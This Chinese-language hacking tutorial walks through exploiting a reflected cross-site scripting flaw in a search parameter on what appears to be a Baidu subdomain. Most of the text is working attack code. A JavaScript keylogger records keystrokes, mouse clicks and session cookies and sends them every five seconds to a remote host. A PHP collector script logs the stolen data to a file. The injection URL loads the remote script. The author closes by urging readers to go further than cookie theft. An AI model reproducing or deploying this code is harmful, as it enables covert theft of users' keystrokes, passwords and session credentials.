作者 菲哥哥
这个跨站是2月大牛发现的,我说一下大牛的利用过程和一些实现劫持键盘。
这个跨站是在搜索时候对输入的信息过滤不到位造成的,如图1
下面进入重点劫持键盘,实现思路,在跨站语句里远程调用远程服务器上的js.txt然后在客户端执行,记录客户端输入的信息然后写到远程服务器record.txt 文件里, 要用到的文件一个xss.php文件和js.txt文件.
js.txt代码:
var keys=''; //储存键盘鼠标记录
var hacker = ' http://www.xxxxx.com/upfiles/2010/xss.php' ';
var Url = window.location;
var Domain = document.domain;
var Cookie = document.cookie;
document.onkeypress = function(e) { //劫持键盘消息
get = window.event ? event:e;
key = get.keyCode ? get.keyCode : get.charCode;
switch(key){
case 32 : key = '[Space]';break;
case 13 : key = '[Enter]';break;
default :
key = String.fromCharCode(key);
keys += key;
}
}
window.onload = function(){ //窗口加载后发送cookie
SendData(hacker + '?txt=' + Cookie);
}
document.onmousedown = function(e) {
get = window.event ? event : e; //创建事件对象
var mousekey = get.button; //获取鼠标键代码
switch(mousekey) {//1 鼠标左键 2 鼠标右键 4 滚动键
case 1 :
mousekey = '[Left Mouse Clik]';break;
case 2 :
mousekey = '[Right Mouse Clik]';break;
case 4 :
mousekey = '[Roll Mouse Clik]';break;
default :
mousekey = '[Unknown Mouse Key]';
}
keys += mousekey;
}
function SendData(src){
new Image().src = src; //建立图片对象用于发射数据
}
setInterval(function(){ SendData(hacker + '?txt=' + keys);keys = ''; },5000); //每五秒发送一次键盘记录,初化变量
js.txt的作用主要就是实现键盘记录,上面代码已经跟出来注释我就不多解释了。
Xxs.php 代码:
<?php
$txt = $_GET[txt]; //获取txt的值
if($txt) //判断那个变量存不存
{
$f = fopen("record.txt","a+"); // record.txt要打开文件的url 'a+' 读写方式打开,将文件指针指向文件末尾
fwrite($f,$txt); //$f是一个指针,对fwrite来说,是要输出数据的地址 $txt要写入的字节数;
fclose($f); //关闭
}
?>
XSS.php文件的作用就是把接收到的值写到record.txt文件 ,上面我也跟出来代码的详细的注释。
实战测试开始。。。。。。。。。
Js.txt在远程服务器的位置http://www.xxxxxupfiles/2010/js.txt
现在我们执行在浏览器执行
http://baidu.xxx.com/stock/code.php?code=fuckbaidu"><script+src="http://www.ningbokids.com/upfiles/2010/js.txt"></script><link+a="&c=9
然后我在搜索框输入“feitest如图2
然后访问http://www.xxxxxxx.coms/2010/record.txt 成功把客户端输入的信息写到了record.txt文件里如图3
我在这只是抛个砖,剩下的大家自由发挥在利用XXS的时候别值局限于盗取cookie什么的大胆的去创新吧。